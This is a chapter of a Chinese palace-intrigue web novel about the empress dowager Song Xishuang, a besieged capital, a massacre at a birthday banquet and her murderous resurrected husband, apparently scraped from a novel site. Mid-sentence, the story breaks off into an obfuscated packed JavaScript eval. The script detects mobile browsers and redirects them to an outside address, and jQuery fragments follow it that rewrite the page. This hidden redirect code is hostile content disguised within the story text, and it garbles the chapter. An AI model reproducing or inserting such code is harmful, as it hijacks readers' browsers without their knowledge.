默认冷灰
24号文字
方正启体

1. 胜寒:此为千秋第一秋

作者:天沧既白本书字数:K更新时间:
    盛平元年,阴历十月朔九。


    宋惜霜杀夫继位后的第三百八十四天,新都将破。


    千秋宴请帖却如折翼玄鸟,掠过旧都枯败的丹樨,直至攀住敌将凝血的剑槽。


    琨梧殿中,博山兽炉苦吐青烟。宋惜霜手执彤管,墨蠹于玉楮蜿蜒爬行处,“罪己”二字如引颈白绫,绞烂黄旨,待天光欲明时,她才隐隐听见昇和楼的宫钟长鸣。


    禁中鸪鸟登时躁起,在飞出宫门前却被玄翎卫箭镞射落,御厨捋袖接过鲜血淋漓的鸪尸,开始做曾享誉三国宴点的“云雀承露”。


    钟音混沌将息,宋惜霜目光掠过高阁西窗,瞥见女官玉錾额鬓濈然,率诸多荑捧琢盘的宫女,正莲步匆匆穿过一应游廊秋庭。


    视线再放长些,便是正德门方向,宫钟音歇,命妇內眷正被“请”下轿步入禁中朝贺。


    南芮旧都半数臣子被东方昼杀掉,余下皆是些一根筋的年轻文臣武臣,企图仿效东岚国女皇来拥簇小宋太后摄政。


    新都风侯不比旧都,晨风似掌。


    一路南下的骁骑将军薛夫人紧紧牵着三岁幺女低头缀在人群中,翟冠斑发的老诰命江太夫人下轿时无意瞟见高阙悬挂的人首,摔了个踉跄,幸被长媳扶住,连诵几段往生佛经。


    百鸟朝凰屏风外,东方昼麾下毒师梦蛟,瘫软于针毯上,执刑的玄翎卫指挥使高潜扳紧她的下颚,将延生丹塞入她喉中。


    在后一干党羽喉咽陈麻,脖颈处刀剑凌凌,见之无不面露愤懑悲戚之色。


    端跪于旁的小婢觉得那手法倒像是往鹅肚里塞佐料,她有些饿了,却见怪不怪般舀起一勺硝水,淋在梦蛟身上血肉模糊的地方。


    梦蛟目光移往宫内的更漏,眼底裂开血丝,笑得痴狂:“宋惜霜,先帝基业,岂容……你与那东岚太子的孽种玷污!”


    屏后宋惜霜腕间突突跳动,她蓦地想起那时怀中的长霖,死前还紧紧攥着自己一缕白发:“母后,糖桂花……好苦。”


    宋惜霜手中的凤鸟金弓,冰凉割指,她腕骨青筋暴起又平息下去。


    她于冷宫发过宏愿,东方昼的弃子,就是她宋惜霜的明珠。


    满殿死寂中,她慢捻弓弦,却俯身在梦蛟身边,用食指竖起轻抵鼻尖,这是噤声之意:“你替东方昼毒死三万东岚人,还害死生身父母胞弟,又比我清白多少?”


    梦蛟被她戳中痛处,目眦尽裂,扭曲身段间血流汩汩打湿了针毯。


    高潜埋首,顿觉如芒在背。


    千秋节前日,四岁新帝一死,愍帝孽党便有机可乘,祸起萧墙。


    仵作检出尸中蛊毒时,太后却面无表情,沉着下令准备小帝王的葬仪,但幼帝入陵前夜,守夜的小宫女却听太后梦中唤了一夜——“长霖”。


    隔日朝中文武臣攒头私语,道太后竟如此冷血,而宋惜霜临朝时,为首文武臣却透过珠缦瞥见她两鬓一夜斑白。


    这位太后,仅双十年华。


    大战在前,幼帝封棺只能入秘陵,曦华锦上的三足金乌刺得高潜眼睛生疼,他突忽想起迁往新都后几桩隐事,幼帝不肯背书常偷偷诱来他问。


    “高潜,东宫的丹桂想是开了,本宫还能回去吗?嬷嬷从前可答应了要做糖桂花吃。”


    “高指挥使,母后的病何时好起来?父皇真的能在天庇佑我们打回君都么?”


    “哥哥……带我回家,好不好?”


    ……


    旧都的花香飘不至雍州,小皇帝的每一句话,高潜都应不上。


    宋惜霜那只瘦成骨架的手甫一抬起,高潜便觉眉心一跳,命人抽出了逆党喉间陈麻。


    “多谢娘娘,娘娘千秋万……”张祷以为捡得一命,头朝玉砖叩去时,周遭却传来此起彼伏的惨叫声。


    “南芮天灾地祸不断,实乃女子当道不仁也!”


    “东岚人兵临城下,妖后,你又能退到几时!”


    “陛下,黄泉路上臣来殉您!”


    ……


    张祷若有所感缓缓抬头,殿中已余他一人的冷颤声,面前年轻女郎孑孑孤立,月白素裳浸透玉砖上的新血,偏那双眼眸纯净冷清,不染半点尘埃。


    “你想拿头颅祭给先帝,还是东岚人?”她字字铿然。


    同党之血粘湿了张祷鞋袜,他忆起传言,这位南芮宋太后:观音面,阎罗心。


    “我要祭……便只祭我那被大虫吞入腹的老娘!”他豁出相怼,等那刀剑割破颈肉。


    他盗墓出身,出于敛财投身逆党,本就朝不保夕。


    金弓凤弦铮鸣,直指他因惧怕不已放大的瞳孔,观世音般慈悲的容貌声线,却行如恶鬼:“那就与你同泽一道罢。”


    玉錾令诸女使待命于殿前,屏气孤身疾步入高阁,恰撞见此幕,她匆忙于前附耳低言:“娘娘,雍都城中共三处密道皆已寻到,只是禁中已被捣毁。”


    话末,玉錾掺了一丝哭腔:“娘娘,来不及了。”


    宋惜霜听罢无言,敛袖强压住左腕心的颤抖,腕骨嶙峋。


    张祷耳力过人,抓住这根救命稻草大喊:“来得及!来得及!西宫长乐殿还有一处!”


    金箭霎失准头,倒在白玉血泊中,触地清脆。


    “悬首正德门,以儆效尤。”她沉声道。


    张祷:“!”


    半晌张祷吊着心见玄翎卫抬走了同党尸身,独独绕过自己。


    他忘了自己一息前还在生死挣扎,此刻却暗叹这宋太后,到底是个贪生怕死,自私自利之人。


    宋惜霜旋身回案,端起匍匐的金螭虎钮后玺压在罪己诏上,在悬针可闻的大殿中发出沉闷一响。


    “照计行事,误者——杀无赦!”


    “遵令!”


    *


    辰时正刻,长乐殿中。


    众官员內眷皆着神服彩饰,却面如死灰。


    两刻前,司仪女官玉錾面色沉沉遣人“侍奉”她们着换麻衣神服,便不道缘由守候于殿外,女眷受玄翎卫的血剑相邀入宫赴宴,不论品阶齿序,孰妻孰妾。


    据闻阵前已节节败退,甚有兵者临阵弃甲,武将夫人们暗忖今朝入宫赴宴只怕为人质,若是东岚人打进宫后,她们……必将一齐殉了太后。


    年仅四岁的薛侞环顾四周后,扯了扯母亲的妃裙道:“娘,我们为何扮作神仙,是为太后娘娘贺寿么?”


    骁骑将军薛夫人江妗连连蹙眉,对幺女低声呵斥:“侞儿!娘在家中是如何与你说的,皆忘了吗?”


    薛侞撇撇嘴,用一只手捂住耳朵,另一只手偷偷去拿案上的果糕。


    江妗仔细理好了神服下的麻布,并未制止幺女的小动作,又不禁忧心,自己的丈夫薛复北与三子皆于上旬的桐尧关一战中惨败被俘,迄今生死未卜。


    她心中愁苦难言:国本将崩,幺女未龀。


    夕昏时分,众官员內眷被囚在殿内多时,不乏浮躁不安起来。


    “啧,哀来愁去的还不是你们宋家女作怪!诸位夫人们皆心知肚明,她宋家辈辈荣登后位,前一个蛊惑圣心,今遭这个竟要覆灭南芮!”


    “纪家姐姐好生无状!论起来鲁国公宋家太夫人可还是你的嫡姑子,再说君都宋家与我们雍都宋家早已分家,钟鸣鼎食与之无干,通敌叛国倒往头上扣!真是笑话!”


    ……


    “慎言!”一直寡言闭目盘佛珠的先丞江太夫人喝令。


    宋家媳方知失言,脸色发白捂着哑巴侄女栀宁的手不吭声起来。


    众人心中久久盘旋着“通敌叛国”四个字,一想到那位与宋后渊源深长的前国师——今朝的东岚太子沈明徵,后许齐齐缄口。


    “太后娘娘到!”


    鎏金殿门轰然而开,宫人厉声穿透画廊朱墙,众夫人一惊,随即起身理饰,垂目肃容,群跪齐呼“娘娘千秋万岁”。


    薛侞将果糕蜷藏于手心,偷偷抬头瞧了两眼那玄凤绣银宫裙扫过染红的白玉阶,她小声嘀咕:原来,太后娘娘竟比她养的狸奴还要瘦上三分。


    “平身。”


    风穿长乐殿,鸾佩玉石相击不绝于耳,却无一声觥筹之音。


    起身后,命妇们与朝臣面面相觑,皆对眼前熟人身着的云肩朱紫衣,霜袍五色绶震诧不已。


    百官命妇皆着神服为后祝宴,何等荒诞不经。


    礼官始唱寿礼,听至后半程,薛侞已昏昏欲睡,遽然一声旱雷吓得她猛往母亲怀里躲,袖中果糕掉落一地。


    底下小黄门与礼官奉上又一献礼单,垂首礼官直觉唇干舌燥,神容晦暗不明起来,他先失神喃喃着,后盖过雷声大呼,语色凝噎。


    “东岚国镇北将军贺平南献上……献上……薛复北、薛翦人首一双!”


    众人大骇,薛复北的发妻江妗闻声拔座而起,她浑身冷颤,发觉失态后顺即坐下,死死扣住幺女的手。


    她不能非诏上前,即使那屈辱摆在匣中的人可能是她的丈夫与长子。


    宋惜霜神色渐沉,一把将座侧玄光剑抽出走下高台。


    群臣伏跪,瞄向那柄剑后大气也不敢喘。


    南定二十五年,太子昼便是用这把剑诛杀数百儒生,剑柄上的庾紫长缨将染成了朱浓。


    唱礼官听来,剑微微擦在墨玉地砖上的声音像自己被凌迟了千万次,他伏跪于地,贴身麻衣沾满汗腻,接过属下递上的檀匣高举于顶。


    上方的丝丝血腥味渐浓,钻入他鼻中后,顿觉心跳如雷。


    众目偷睽下,宋惜霜缓缓打开那方像剑匣般的木盒。


    人颅上的皮肤已然干瘪,眼睑未阖,直对她的目光,银护甲刮下一片干涸的血痂。


    她紧紧阖上双目。


    “啊!”江妗遥遥望去,定睛一看便知这是枕边人与十月怀胎的长子无疑,不禁悲恸失声,左右夫人垂泪中连连将其环住。


    薛侞迷蒙扯住母亲腰间丝绦,在她视角只能看到阿爹与哥哥的头冠沾了血污,她想问失态的母亲为何,但不敢开口。


    宋惜霜放下了玄光剑,两手发颤仔细合上木匣,群臣喧闹中她仿佛回到了君都出兵那日。


    “娘娘放心,微臣必定死守桐尧关!”


    “娘娘可莫要看轻我,我虽未及冠,却也不逊于方家哥哥。”


    ……


    悲愤之下,宋惜霜唇齿发颤咬破了舌尖,她竟脱下厚重的银凤大衫,只着素单,连同曦华锦将腥味横生的木匣层层裹住。


    她步步千钧,走向哭成泪人的江妗。


    浸淫朝堂仅一年,她太懂如何授封定罚,宽慰人心。


    分明是恩旨,宋惜霜却听见自己的声音像从地狱钻出的恶鬼,在啃噬数万名将士的骨血。


    沈明徵!连两具尸骸都是你手中的棋子么!


    江妗匆忙拭泪接过木匣,拉着薛侞向主位下跪,言辞恳恳:“娘娘仁慈!”


    轰地又一阵雷击,长乐殿倏然紧闭,混沌中稚子哭泣声不绝于耳,百官群沸。


    “是东岚人打进宫了么!”


    “慌什么?烽台未燃,战鼓正歇,康温怎可草木皆兵。”


    “贺平南狼子野心潜伏造怪,方才献礼薛将军二人不正是血淋淋之例!灵晔,吾等还是快寻机而逃罢!”


    ……


    宫人穿梭点烛间,宋惜霜气急毒发,她生生咽下喉间的血沫走向金台,举起玄光剑对准花案一劈。


    花案“轰”一声坠落高台,众臣闻声定睛不言。


    在玄翎卫刀锋下的张祷不知动了东南处哪处花樽的机关,宋惜霜所立高台之后,竟出现了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195521|165642||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一道黑黢黢的密道。


    “此道通往昔日谢太皇太后清修之地——菩如山虚弥观,越过此山便是凌洲王驻军所在。”玄光剑所指之处,宋惜霜冷然发声。


    “妇人之见!雍都重城,岂可拱手相让!”户部尚书纪俭弃了玉笏,放声殿内。


    “纪大人如此抗举,不过系因尔族丝绸根脉商基在此。原来纪大人舍不得富贵荣华,却舍得妇孺被东岚人抢去为奴!”谏官江灵晔掀了凉薄的眼皮,嘲讽道。


    “灵晔小儿,你……你修得满口胡诌!”纪俭气得怒目圆睁,似是想到何许,他面色同样灰丧下来,愈发底气不足。


    金殿内,多名內眷不知何时褪弃神服解尽簪珥,只着约素便麻,她们携夫女或是整肃与拂泪,向着主位上的宋惜霜再拜再叩。


    宋惜霜点头让步,欲搀年迈苦叹的江太夫人,却被她连连道“不敢”二字后拂去。


    张祷颈间见血,匆忙率前指路。


    有之表率后,户部尚书纪俭诸人也狠狠褪下朱衣摔掷进贤冠,怒容灰面直奔密道,更有余者暗自窃取了贺礼中的玉如意等贵重之物藏袖奔逃。


    *


    终了宫人也奔尽,殿里只余跪在一角神龛前的宋惜霜与躺在案上饮酒的江灵晔。


    “娘娘昔日有言,求仙问卜,不如自主。今日竟也肯拜一拜这菩萨。”江灵晔戏谑道。


    宋惜霜阖目听漏,心中估算着雍都百姓奔逃的时辰方位,敏锐忆起这句话从未在江灵晔面前提起。


    正德门暮鼓忽地断截,长乐宫的暗道传来巨山崩响,数以万计的哀嚎声渐渐沦为虚无。


    他们都没逃出去么,这绝无可能!


    宋惜霜蓦地睁眸,冰凉的玄光剑锋已无声无息倚在她脖颈上,发髻被截散,三千白发流泻而出。


    她颈间肌肤溢出血痕,从剑刃反射的光芒中,瞥到那执剑人无比令人熟悉的神情,心脏瞬间停止跳动。


    这不是江灵晔!


    剑锋愈逼愈近,她拔下凤簪旋身直抵来人胸口,洇出一片血花,却听见那人嗤笑:“阿妨,好人都让你做了,孤做什么?”


    她亲手杀死的夫君,愍帝东方昼,如今正撕下她少时未婚夫江灵晔的人脸。


    他昳丽庄穆的面容上,嘴角上扬出一丝弧度:“宋惜霜,你就是这么对夫君的?”


    “东方昼,你死不足惜!”她从牙缝中狠狠挤出他的名字,像要将他碎尸万段,“江灵晔呢?百姓內眷呢?”


    “蝼蚁便是蝼蚁,割肉放血喂群蝼蚁,你累不累?”东方昼拔出心口的凤簪,喉间一丝闷哼,他却歪着头定定看着宋惜霜,轻飘飘抬起凉薄至极的眼皮,玩味地笑:“但是阿妨,你不应该,抛下我。”


    宋惜霜浑身血液都要被冰冻住,眼中溢满不可置信:“你要你的子民为你陪葬?”


    东方昼像孩童般点了点头,黑瞳中嵌满执念与疯狂:“不,阿妨,这是你的子民,被千秋万代指辱,千秋宴火焚雍都,要众生陪葬的只有你——宋惜霜。”


    长乐宫中神龛前,银凤缀下的明珠在烛影中轻晃。


    面对东方昼的污蔑,宋惜霜忽地轻笑出声:“东方昼,你怎么还是那么让人讨厌。”


    宋惜霜已然察觉到自己喘不过气来,生机迅速从体内抽走。


    被试毒数年,她已经油尽灯枯。


    腥甜的鲜血从喉中喷涌而出时,宋惜霜突然想起了那个在年少时昙花一现的郎君。


    那时云淡风轻,天地瞬息停止。


    她应该等不到沈明徵的解释了罢。


    面对宋惜霜的衰竭,东方昼却像个疯子一般紧紧拥着她,眼神空洞至极,骨指颤抖着触上她的脸庞:“阿妨,你为什么不吃我给的药!为什么不听我的话……”


    宋惜霜气息渐弱,却拼命挣脱他的怀抱。


    “东方昼,我哪怕……重来多少世,仍会……杀你。”


    终了,遍地神服瞬间被火舌吞没,火跃花窗撩拨着层层珠缦,金梧烈焰噼啪作响。


    *


    凤玱城门前雄雄大军,沈明徵孤自立于阵前,黄尘掩盖不住仙容清骨之姿,却手掼一个难以相配的血污人首。


    他五日不眠,亲自去雪伽峰配出宋惜霜需要的解药,回来时贺平南已送出薛复北的人首作贺礼。


    东岚军惶惶,只见这位去岁突然冒出的太子殿下于阵前一刀又一刀砍筋连脉,直至白瓷面容鲜血淋漓,瑞凤眼睫坠落血珠,才冷峻道:“余者!都滚回去告诉本宫的好皇妹,有本事便亲自来取本宫项首!小人行径,何堪为帝!”


    贺平南号称钢筋铁骨的身躯渐冷,连带自己的不甘苦嚎也弥散于风中。


    宋惜霜是个犟种,沈明徵知道,她一定会来,哪怕长剑对他。


    烈烈军旗中,凤玱城中传来此起彼伏的火药声,人声仅一息哭嚎便消落。


    南芮军顾不得眼下兵临城下的东岚军,纷纷拨人前去营救百姓,火光冲天,他们扛着断梁的肩忽地一松,回头看竟是一语不发的东岚军,欲拔剑对敌,才发现东岚军分毫没有迎战之意,反而从砖瓦下抱出南芮孩童。


    她会来的,沈明徵这样想。


    他奔向那座角楼,拾级而上,却看见了玉砖上的明珠耳铛,颤着手将耳铛握进手心。


    终于,他幢幢心跳随之面前景象停止跳动。


    竹缦纱帐火中飞旋,静静躺在玉砖上的宋惜霜毫无生气,她之身侧,却跪着那个口中血肉模糊的愍帝东方昼。


    他死而复生,正啃着骨肉,朝沈明徵笑得痴狂乖张。


    秋风贻荡,沈明徵提着金弓的手轻颤,他手心耳铛发烫,喉间苦涩哽咽。


    弓弦如满月,势如江河倒悬,那一金箭使天地时空都在这一瞬与之迸裂。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)